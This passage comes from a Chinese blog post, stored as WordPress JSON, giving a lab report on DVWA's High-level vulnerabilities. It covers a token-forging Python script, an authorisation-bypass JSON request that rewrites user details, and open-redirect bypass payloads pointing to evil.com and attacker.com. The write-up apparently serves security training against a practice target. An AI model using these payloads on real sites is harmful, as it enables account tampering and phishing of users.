punctuation\">(<\/span><span class=\"token string\">&#034;ABCD&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token number\">44<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><\/p>\n<p><img decoding=\"async\" src=\"2026-03-04obit3ct0gvo.png\" alt=\"\" \/><\/p>\n<h4>\u5229\u7528\u65b9\u6cd5&#xff08;\u4e24\u79cd&#xff09;<\/h4>\n<h5>\u65b9\u6cd51&#xff1a;\u524d\u7aef\u63a7\u5236\u53f0\u624b\u52a8\u6267\u884c\u52a0\u5bc6\u51fd\u6570<\/h5>\n<li>\u5728\u8f93\u5165\u6846\u4e2d\u586b\u5165\u6b63\u786e\u7684phrase&#xff1a;success&#xff1b; <img decoding=\"async\" src=\"2026-03-04olua41q3id3.png\" alt=\"\" \/><\/li>\n<li>\u6253\u5f00\u6d4f\u89c8\u5668\u5f00\u53d1\u8005\u5de5\u5177\u63a7\u5236\u53f0&#xff0c;\u6309\u987a\u5e8f\u6267\u884c\u52a0\u5bc6\u51fd\u6570&#xff1a;<span class=\"token function\">token_part_1<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;ABCD&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token number\">44<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token function\">token_part_2<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;XX&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span>\n <\/li>\n<p><img decoding=\"async\" src=\"2026-03-04fer12zyqttn.png\" alt=\"\" \/> 3. \u70b9\u51fb\u63d0\u4ea4\u6309\u94ae&#xff0c;\u89e6\u53d1token_part_3\u751f\u6210\u6700\u7ec8token&#xff0c;\u9a8c\u8bc1\u6210\u529f\u3002 <img decoding=\"async\" src=\"2026-03-04sqzulaa5hpd.png\" alt=\"\" \/><\/p>\n<h5>\u65b9\u6cd52&#xff1a;Python\u811a\u672c\u8fd8\u539f\u52a0\u5bc6\u8fc7\u7a0b&#xff0c;\u76f4\u63a5\u751f\u6210token<\/h5>\n<p>\u901a\u8fc7Python\u5b9e\u73b0\u5b57\u7b26\u4e32\u53cd\u8f6c&#043;SHA256\u52a0\u5bc6&#xff0c;\u76f4\u63a5\u751f\u6210\u6700\u7ec8token&#xff0c;\u6784\u9020POST\u8bf7\u6c42\u63d0\u4ea4\u3002<\/p>\n<h6>Python\u52a0\u5bc6\u811a\u672c<\/h6>\n<p><span class=\"token keyword\">import<\/span> hashlib<\/p>\n<p><span class=\"token keyword\">def<\/span> <span class=\"token function\">do_something<\/span><span class=\"token punctuation\">(<\/span>e<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n    <span class=\"token triple-quoted-string string\">&#034;&#034;&#034;\u5b57\u7b26\u4e32\u53cd\u8f6c&#034;&#034;&#034;<\/span><br \/>\n    <span class=\"token keyword\">return<\/span> e<span class=\"token punctuation\">[<\/span><span class=\"token punctuation\">:<\/span><span class=\"token punctuation\">:<\/span><span class=\"token operator\">&#8211;<\/span><span class=\"token number\">1<\/span><span class=\"token punctuation\">]<\/span><\/p>\n<p><span class=\"token keyword\">def<\/span> <span class=\"token function\">sha256<\/span><span class=\"token punctuation\">(<\/span>s<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n    <span class=\"token triple-quoted-string string\">&#034;&#034;&#034;SHA256 \u54c8\u5e0c\u8ba1\u7b97&#034;&#034;&#034;<\/span><br \/>\n    <span class=\"token keyword\">return<\/span> hashlib<span class=\"token punctuation\">.<\/span>sha256<span class=\"token punctuation\">(<\/span>s<span class=\"token punctuation\">.<\/span>encode<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span>hexdigest<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token keyword\">def<\/span> <span class=\"token function\">calc_token<\/span><span class=\"token punctuation\">(<\/span>phrase<span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#034;success&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n    <span class=\"token comment\"># Step 1: token_part_1 &#8211; \u53cd\u8f6cphrase<\/span><br \/>\n    token <span class=\"token operator\">&#061;<\/span> do_something<span class=\"token punctuation\">(<\/span>phrase<span class=\"token punctuation\">)<\/span><br \/>\n    <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;Step 1 (\u53cd\u8f6cphrase): <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>token<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><span class=\"token punctuation\">)<\/span><br \/>\n    <span class=\"token comment\"># Step 2: token_part_2 &#8211; sha256(&#034;XX&#034; &#043; token)<\/span><br \/>\n    token <span class=\"token operator\">&#061;<\/span> sha256<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;XX&#034;<\/span> <span class=\"token operator\">&#043;<\/span> token<span class=\"token punctuation\">)<\/span><br \/>\n    <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;Step 2 (sha256 XX&#043;token): <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>token<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><span class=\"token punctuation\">)<\/span><br \/>\n    <span class=\"token comment\"># Step 3: token_part_3 &#8211; sha256(token &#043; &#034;ZZ&#034;)<\/span><br \/>\n    token <span class=\"token operator\">&#061;<\/span> sha256<span class=\"token punctuation\">(<\/span>token <span class=\"token operator\">&#043;<\/span> <span class=\"token string\">&#034;ZZ&#034;<\/span><span class=\"token punctuation\">)<\/span><br \/>\n    <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;Step 3 (sha256 token&#043;ZZ): <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>token<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><span class=\"token punctuation\">)<\/span><br \/>\n    <span class=\"token keyword\">return<\/span> token<\/p>\n<p><span class=\"token keyword\">if<\/span> __name__ <span class=\"token operator\">&#061;&#061;<\/span> <span class=\"token string\">&#034;__main__&#034;<\/span><span class=\"token punctuation\">:<\/span><br \/>\n    phrase <span class=\"token operator\">&#061;<\/span> <span class=\"token string\">&#034;success&#034;<\/span><br \/>\n    token <span class=\"token operator\">&#061;<\/span> calc_token<span class=\"token punctuation\">(<\/span>phrase<span class=\"token punctuation\">)<\/span><br \/>\n    <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;\\\\n\u6700\u7ec8token: <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>token<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><span class=\"token punctuation\">)<\/span><br \/>\n    <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;POST\u6570\u636e: phrase&#061;<\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>phrase<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&amp;send&#061;Submit&amp;token&#061;<\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>token<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><span class=\"token punctuation\">)<\/span><\/p>\n<h6>\u6267\u884c\u811a\u672c<\/h6>\n<p><img decoding=\"async\" src=\"2026-03-04rjapv14dkj4.png\" alt=\"\" \/> \u8fd0\u884c\u540e\u751f\u6210\u6700\u7ec8token&#xff0c;\u901a\u8fc7Burp\u6784\u9020POST\u8bf7\u6c42\u63d0\u4ea4&#xff0c;\u9a8c\u8bc1\u6210\u529f\u3002 <img decoding=\"async\" src=\"2026-03-04lsfdw1zi43p.png\" alt=\"\" \/> <img decoding=\"async\" src=\"2026-03-04qwmi32hzo2r.png\" alt=\"\" \/><\/p>\n<hr \/>\n<h3>15. Authorisation Bypass \u2014 \u8d8a\u6743\u8bbf\u95ee<\/h3>\n<h4>\u6f0f\u6d1e\u7279\u70b9<\/h4>\n<p>High \u96be\u5ea6\u5bf9\u524d\u7aef\u9875\u9762\u505a\u4e86\u7ba1\u7406\u5458\u6743\u9650\u6821\u9a8c&#xff08;\u975eadmin\u7528\u6237\u8bbf\u95ee\u63d0\u793a403&#xff09;&#xff0c;\u4f46\u5bf9\u540e\u7aef\u63a5\u53e3\u6587\u4ef6change_user_details.php\u672a\u505a\u9274\u6743&#xff0c;\u53ef\u76f4\u63a5\u53d1\u9001JSON\u8bf7\u6c42\u4fee\u6539\u4efb\u610f\u7528\u6237\u4fe1\u606f\u3002<\/p>\n<h4>\u6f0f\u6d1e\u4ee3\u7801\u5206\u6790<\/h4>\n<p><img decoding=\"async\" src=\"2026-03-04im13ubuncxm.png\" alt=\"\" \/><\/p>\n<p><span class=\"token comment\">\/\/ \u524d\u7aef\u9875\u9762\u6743\u9650\u6821\u9a8c<\/span><br \/>\n<span class=\"token operator\">!<\/span><span class=\"token punctuation\">[<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">(<\/span><span class=\"token argument-name\">https<\/span><span class=\"token punctuation\">:<\/span><span class=\"token comment\">\/\/cdn.jsdelivr.net\/gh\/Tjsdrj\/BlogImage&#064;main\/img\/20260303174017788.png)<\/span><br \/>\n<span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span><span class=\"token function\">dvwaCurrentUser<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token operator\">!&#061;<\/span><span class=\"token string double-quoted-string\">&#034;admin&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token keyword\">print<\/span> <span class=\"token string double-quoted-string\">&#034;Unauthorised&#034;<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token function\">http_response_code<\/span><span class=\"token punctuation\">(<\/span><span class=\"token number\">403<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token keyword\">exit<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><br \/>\n<span class=\"token comment\">\/\/ \u540e\u7aef\u63a5\u53e3change_user_details.php \u65e0\u4efb\u4f55\u9274\u6743\u903b\u8f91<\/span><\/p>\n<h4>\u5229\u7528\u65b9\u6cd5<\/h4>\n<p>\u76f4\u63a5\u5411change_user_details.php\u53d1\u9001JSON\u683c\u5f0f\u7684POST\u8bf7\u6c42&#xff0c;\u4fee\u6539\u4efb\u610f\u7528\u6237\u7684id\u3001\u59d3\u540d\u7b49\u4fe1\u606f&#xff1a;<\/p>\n<li>\u76ee\u6807URL&#xff1a;http:\/\/dvwa:8564\/vulnerabilities\/authbypass\/change_user_details.php&#xff1b;<\/li>\n<li>\u8bf7\u6c42\u5934&#xff1a;Content-Type: application\/json&#xff1b;<\/li>\n<li>\u8bf7\u6c42\u4f53&#xff08;JSON&#xff09;&#xff1a;<span class=\"token punctuation\">{<\/span><span class=\"token string-property property\">&#034;id&#034;<\/span><span class=\"token operator\">:<\/span><span class=\"token number\">3<\/span><span class=\"token punctuation\">,<\/span><span class=\"token string-property property\">&#034;first_name&#034;<\/span><span class=\"token operator\">:<\/span><span class=\"token string\">&#034;hacked&#034;<\/span><span class=\"token punctuation\">,<\/span><span class=\"token string-property property\">&#034;surname&#034;<\/span><span class=\"token operator\">:<\/span><span class=\"token string\">&#034;hacked&#034;<\/span><span class=\"token punctuation\">}<\/span>\n <\/li>\n<p><img decoding=\"async\" src=\"2026-03-04cwrrlno5cb2.png\" alt=\"\" \/> 4. \u53d1\u9001\u8bf7\u6c42\u540e&#xff0c;\u8fd4\u56de{&#034;result&#034;:&#034;ok&#034;}&#xff0c;\u7528\u6237\u4fe1\u606f\u4fee\u6539\u6210\u529f\u3002 <img decoding=\"async\" src=\"2026-03-04jbrnnw0253i.png\" alt=\"\" \/><\/p>\n<hr \/>\n<h3>16. Open HTTP Redirect \u2014 \u5f00\u653e\u91cd\u5b9a\u5411<\/h3>\n<h4>\u6f0f\u6d1e\u7279\u70b9<\/h4>\n<p>High \u96be\u5ea6\u5bf9redirect\u53c2\u6570\u505a\u4e86\u5173\u952e\u5b57\u5339\u914d\u8fc7\u6ee4&#xff08;\u4ec5\u5141\u8bb8\u5305\u542binfo.php&#xff09;&#xff0c;\u4f46\u672a\u9650\u5236info.php\u7684\u4f4d\u7f6e&#xff0c;\u53ef\u6784\u9020\u5305\u542binfo.php\u7684\u6076\u610fURL&#xff0c;\u5b9e\u73b0\u4efb\u610f\u5730\u5740\u91cd\u5b9a\u5411\u3002<\/p>\n<h4>\u6f0f\u6d1e\u4ee3\u7801\u5206\u6790<\/h4>\n<p><span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span><span class=\"token function\">array_key_exists<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string double-quoted-string\">&#034;redirect&#034;<\/span><span class=\"token punctuation\">,<\/span><span class=\"token variable\">$_GET<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token operator\">&amp;&amp;<\/span> <span class=\"token variable\">$_GET<\/span><span class=\"token punctuation\">[<\/span><span class=\"token string single-quoted-string\">&#039;redirect&#039;<\/span><span class=\"token punctuation\">]<\/span><span class=\"token operator\">!&#061;<\/span><span class=\"token string double-quoted-string\">&#034;&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token keyword\">if<\/span><span class=\"token punctuation\">(<\/span><span class=\"token function\">strpos<\/span><span class=\"token punctuation\">(<\/span><span class=\"token variable\">$_GET<\/span><span class=\"token punctuation\">[<\/span><span class=\"token string single-quoted-string\">&#039;redirect&#039;<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">,<\/span><span class=\"token string double-quoted-string\">&#034;info.php&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token operator\">&#061;&#061;<\/span><span class=\"token constant boolean\">false<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">{<\/span><br \/>\n        <span class=\"token function\">http_response_code<\/span><span class=\"token punctuation\">(<\/span><span class=\"token number\">500<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n        <span class=\"token keyword\">echo<\/span> <span class=\"token string double-quoted-string\">&#034;&lt;p&gt;You can only redirect to the info page.&lt;\/p&gt;&#034;<\/span><span class=\"token punctuation\">;<\/span><br \/>\n        <span class=\"token keyword\">exit<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span><span class=\"token keyword\">else<\/span><span class=\"token punctuation\">{<\/span><br \/>\n        <span class=\"token comment\">\/\/ \u91cd\u5b9a\u5411\u903b\u8f91<\/span><br \/>\n        <span class=\"token function\">header<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string double-quoted-string\">&#034;Location: &#034;<\/span><span class=\"token operator\">.<\/span><span class=\"token variable\">$_GET<\/span><span class=\"token punctuation\">[<\/span><span class=\"token string single-quoted-string\">&#039;redirect&#039;<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><\/p>\n<p><img decoding=\"async\" src=\"2026-03-043cbfiuz1wl2.png\" alt=\"\" \/><\/p>\n<h4>\u5229\u7528\u65b9\u6cd5<\/h4>\n<p>\u6784\u9020\u5305\u542binfo.php\u7684\u6076\u610fURL&#xff0c;\u7ed5\u8fc7\u6ee4\u540e\u5c06\u53d7\u5bb3\u8005\u91cd\u5b9a\u5411\u5230\u9493\u9c7c\u7f51\u7ad9\/\u6076\u610f\u7ad9\u70b9&#xff0c;\u6838\u5fc3Payload\u793a\u4f8b&#xff1a;<\/p>\n<p># Payload1&#xff1a;\u53c2\u6570\u540e\u62fc\u63a5info.php<br \/>\n?redirect&#061;https:\/\/evil.com\/?x&#061;info.php<br \/>\n# Payload2&#xff1a;\u5b50\u57df\u540d\u4e2d\u5305\u542binfo.php<br \/>\n?redirect&#061;https:\/\/evil.com\/info.php.attacker.com\/<br \/>\n# Payload3&#xff1a;\u951a\u70b9\u540e\u62fc\u63a5info.php<br \/>\n?redirect&#061;https:\/\/attacker.com#info.php<\/p>\n<h4>\u6f0f\u6d1e\u5371\u5bb3<\/h4>\n<p>\u653b\u51fb\u8005\u8bf1\u5bfc\u53d7\u5bb3\u8005\u70b9\u51fb\u6076\u610f\u94fe\u63a5&#xff0c;\u53d7\u5bb3\u8005\u5728\u4fe1\u4efb\u7684dvwa\u57df\u540d\u4e0b\u88ab\u91cd\u5b9a\u5411\u5230\u6076\u610f\u7ad9\u70b9&#xff0c;\u5bfc\u81f4\u9493\u9c7c\u3001\u8d26\u53f7\u7a83\u53d6\u7b49\u653b\u51fb\u3002<\/p>\n<hr \/>\n<h3>17. Cryptography \u2014 \u5bc6\u7801\u5b66<\/h3>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>DVWA \u9776\u573a\u5b9e\u9a8c\u62a5\u544a (High Level) \u96be\u5ea6\u7b49\u7ea7&#xff1a;High \u62a5\u544a\u8bf4\u660e&#xff1a;\u672c\u6587\u4e3a DVWA \u9776\u573a High \u96be\u5ea6\u4e0b17\u4e2a\u6f0f\u6d1e\u7684\u8be6\u7ec6\u6e17\u900f\u6d4b\u8bd5\u6b65\u9aa4&#xff0c;\u5305\u542b\u6f0f\u6d1e\u539f\u7406\u3001\u5229\u7528\u65b9\u6cd5\u3001\u5de5\u5177\u64cd\u4f5c\u53ca\u6838\u5fc3Payload&#xff0c;\u5168\u7a0b\u57fa\u4e8eBurp Suite\u3001Sqlmap\u7b49\u5de5\u5177\u5b9e\u73b0&#xff0c;\u6240\u6709\u64cd\u4f5c\u6b65\u9aa4\u5747\u914d\u5957\u5b9e\u64cd\u622a\u56fe https:\/\/www.cnblogs.com\/wrold &#x1f4d1; \u76ee\u5f55<br \/>\nBrute Force \u2014 \u66b4\u529b\u7834\u89e3<\/p>\n","protected":false},"author":2,"featured_media":80342,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[9012,9013,275],"topic":[],"class_list":["post-80362","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","tag-dvwa","tag-high","tag-web"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>DVWA \u9776\u573a\u5b9e\u9a8c\u62a5\u544a (High Level) - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/80362.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"DVWA \u9776\u573a\u5b9e\u9a8c\u62a5\u544a (High Level) - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"DVWA \u9776\u573a\u5b9e\u9a8c\u62a5\u544a (High Level) \u96be\u5ea6\u7b49\u7ea7&#xff1a;High \u62a5\u544a\u8bf4\u660e&#xff1a;\u672c\u6587\u4e3a DVWA \u9776\u573a High \u96be\u5ea6\u4e0b17\u4e2a\u6f0f\u6d1e\u7684\u8be6\u7ec6\u6e17\u900f\u6d4b\u8bd5\u6b65\u9aa4&#xff0c;\u5305\u542b\u6f0f\u6d1e\u539f\u7406\u3001\u5229\u7528\u65b9\u6cd5\u3001\u5de5\u5177\u64cd\u4f5c\u53ca\u6838\u5fc3Payload&#xff0c;\u5168\u7a0b\u57fa\u4e8eBurp Suite\u3001Sqlmap\u7b49\u5de5\u5177\u5b9e\u73b0&#xff0c;\u6240\u6709\u64cd\u4f5c\u6b65\u9aa4\u5747\u914d\u5957\u5b9e\u64cd\u622a\u56fe https:\/\/www.cnblogs.com\/wrold &#x1f4d1; \u76ee\u5f55 Brute Force \u2014 \u66b4\u529b\u7834\u89e3\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/80362.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-03-04T14:11:04+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/03\/20260304141101-69a83d7532e0f.png\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/80362.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/80362.html\",\"name\":\"DVWA \u9776\u573a\u5b9e\u9a8c\u62a5\u544a (High Level) - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-03-04T14:11:04+00:00\",\"dateModified\":\"2026-03-04T14:11:04+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/80362.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/80362.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/80362.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"DVWA \u9776\u573a\u5b9e\u9a8c\u62a5\u544a (High Level)\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"DVWA \u9776\u573a\u5b9e\u9a8c\u62a5\u544a (High Level) - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/80362.html","og_locale":"zh_CN","og_type":"article","og_title":"DVWA \u9776\u573a\u5b9e\u9a8c\u62a5\u544a (High Level) - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"DVWA \u9776\u573a\u5b9e\u9a8c\u62a5\u544a (High Level) \u96be\u5ea6\u7b49\u7ea7&#xff1a;High \u62a5\u544a\u8bf4\u660e&#xff1a;\u672c\u6587\u4e3a DVWA \u9776\u573a High \u96be\u5ea6\u4e0b17\u4e2a\u6f0f\u6d1e\u7684\u8be6\u7ec6\u6e17\u900f\u6d4b\u8bd5\u6b65\u9aa4&#xff0c;\u5305\u542b\u6f0f\u6d1e\u539f\u7406\u3001\u5229\u7528\u65b9\u6cd5\u3001\u5de5\u5177\u64cd\u4f5c\u53ca\u6838\u5fc3Payload&#xff0c;\u5168\u7a0b\u57fa\u4e8eBurp Suite\u3001Sqlmap\u7b49\u5de5\u5177\u5b9e\u73b0&#xff0c;\u6240\u6709\u64cd\u4f5c\u6b65\u9aa4\u5747\u914d\u5957\u5b9e\u64cd\u622a\u56fe https:\/\/www.cnblogs.com\/wrold &#x1f4d1; \u76ee\u5f55 Brute Force \u2014 \u66b4\u529b\u7834\u89e3","og_url":"https:\/\/www.wsisp.com\/helps\/80362.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-03-04T14:11:04+00:00","og_image":[{"url":"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/03\/20260304141101-69a83d7532e0f.png"}],"author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"8 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/80362.html","url":"https:\/\/www.wsisp.com\/helps\/80362.html","name":"DVWA \u9776\u573a\u5b9e\u9a8c\u62a5\u544a (High Level) - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-03-04T14:11:04+00:00","dateModified":"2026-03-04T14:11:04+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/80362.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/80362.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/80362.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"DVWA \u9776\u573a\u5b9e\u9a8c\u62a5\u544a (High Level)"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/80362","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v